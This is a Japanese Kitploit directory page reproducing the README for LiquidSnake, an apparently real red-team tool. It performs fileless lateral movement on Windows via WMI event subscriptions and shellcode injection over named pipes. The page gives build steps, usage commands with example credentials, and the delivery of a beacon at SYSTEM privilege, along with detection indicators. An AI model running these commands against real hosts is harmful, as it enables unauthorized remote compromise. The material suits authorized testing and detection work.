Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
LiquidSnake — ファイルレスの横移動ツール。WMI Event Subscriptions を使用して .NET アセンブリをメモリ内で実行し、名前付きパイプを介したシェルコードインジェクションによりリモート Windows システムを侵害します。 | Kitploit
ツール/GitHubGitHub/riccardoancarani/liquidsnake
ペイロード生成横移動シェルコードレッドチーミング
GitHubriccardoancarani/liquidsnake

LiquidSnake

ファイルレスの横移動ツール。WMI Event Subscriptions を使用して .NET アセンブリをメモリ内で実行し、名前付きパイプを介したシェルコードインジェクションによりリモート Windows システムを侵害します。

リポジトリを見る
3474955年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Liquid Snake

Liquid Snake は、ディスクに触れることなく Windows システムに対して横方向の移動を行うことを目的としたプログラムです。このツールは、WMI Event Subscription を利用して .NET アセンブリをメモリ内で実行し、その .NET アセンブリが名前付きパイプ上でシェルコードを待ち受け、スレッドハイジャックシェルコードインジェクションのバリエーションを用いて実行します。

以下の図は、データの流れを(できれば)明確にしています:

クレジット

  • MDSec - WMI Event Subscription - このツールは、このブログ記事で説明されているコンセプトを実装したものに過ぎず、コードは Dominic の WMI 永続化 C Sharp PoC にも依存しています。
  • pwndizzle - thread-hijack.cs - C Sharp でのスレッドハイジャック実装の着想を得るために使用しました。
  • med0x2e - GadgetToJscript - GadgetToJScript の作成という膨大な作業に対して。

はじめに

このプロジェクトは 2 つの独立したソリューションで構成されています:

  • CSharpNamedPipeLoader - GadgetToJScript によって VBS に変換されるコンポーネント
  • LiquidSnake - リモートシステム上で WMI Event Subscription を作成する役割を持つコンポーネント

ビルド

両方のソリューションを Visual Studio で開き、ビルドしてください。CSharpNamedPipeLoader は x64 アーキテクチャをターゲットにするようにしてください。すべてがうまくいけば、2 つの別々の EXE ファイル (CSharpNamedPipeLoader.exe と LiquidSnake.exe) が生成されるはずです。

GadgetToJscript を使って、CSharpNamedPipeLoader.exe を以下のコマンドで VBS に変換します:

root@kitploit:~
GadgetToJScript.exe -a CSharpNamedPipeLoader.exe -b -w vbs

cscript.exe を使用して .NET の逆シリアル化をテストし、すべてが期待通りに動作することを確認します:

root@kitploit:~
cscript.exe test.vbs

次に、vbs ファイルを base64 エンコードし、LiquidSnake の Program.cs の 29 行目にある vbscript64 変数に貼り付けます。

この作業は既に行ってあるので、LiquidSnake ソリューションをコンパイルしてそのまま使用できます。

使用方法

このプロジェクトの使用方法は簡単です。管理アクセス権を持つホストに対して LiquidSnake.exe を次のように使用します:

root@kitploit:~
LiquidSnake.exe <host> [<username> <password> <domain>]
LiquidSnake.exe dc01.isengard.local
LiquidSnake.exe dc01.isengard.local saruman DeathToFrodo123 isengard.local

注意: 現在、ユーザー資格情報を明示的に設定した場合にバグがあり、その場合はツールが動作しません。代わりに make_token または他の偽装メカニズムを使用することを推奨します。

すべてがうまくいけば、以下のような出力が得られるはずです:

root@kitploit:~
[*] Event filter created.
[*] Event consumer created.
[*] Subscription created, now sleeping
[*] Sending some DCOM love..
[*] Sleeping again... long day

上記の例では、CobaltStrike の execute-assembly を使用して LiquidSnake を起動しています:

その間、リモートホストには次の名前で新しい名前付きパイプが作成されます:

root@kitploit:~
\\.\pipe\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7

次に、私の BOFs プロジェクト の send_shellcode_via_pipe を使用して、リモートパイプに任意のシェルコードを送信し、ロードおよび実行させることができます:

root@kitploit:~
send_shellcode_via_pipe \\dc01\pipe\6e7645c4-32c5-4fe3-aabf-e94c2f4370e7 beacon.bin 

すべてが期待通りに動作すれば、SYSTEM 権限のビーコンが得られるはずです:

注意: 現在の LiquidSnake バージョンには、.NET バージョン 4.x をターゲットとする GadgetToJScript によって生成されたアーティファクトが含まれています。対象ホストに 3.5 しかインストールされていない場合、失敗します。その場合は、同じプロセスを繰り返して GadgetToJScript をビルドする際に、適切な .NET バージョンを使用してください。

検出

このツールの悪用や一般的なこの手法の使用を特定するための検出機会が多数あります:

  • 短時間での WMI Event Filter の作成と削除。Sysmon イベント ID 19、20、21、22 を参照。
  • scrcons.exe プロセスに関連する clr.dll のモジュールロードイベント。
  • scrcons.exe プロセスに関連する名前付きパイプの作成。

さらに、この特定の実装の最大の欠点は、シェルコードが SMB 経由で平文で送信されることです。つまり、ネットワーク監視ソリューションがそのトラフィックを検査できる場合、それが目立つ可能性が高いです。Zeek/Bro ルールセットに対するテストはあまり行っていませんが、すぐに検出されるだろうと確信しています。

detection-artefacts フォルダには、攻撃中に生成された Wireshark キャプチャの PCAP ファイルと Sysmon イベント (Swift On Security のデフォルト設定を使用) を残してあります。

ツールをダウンロード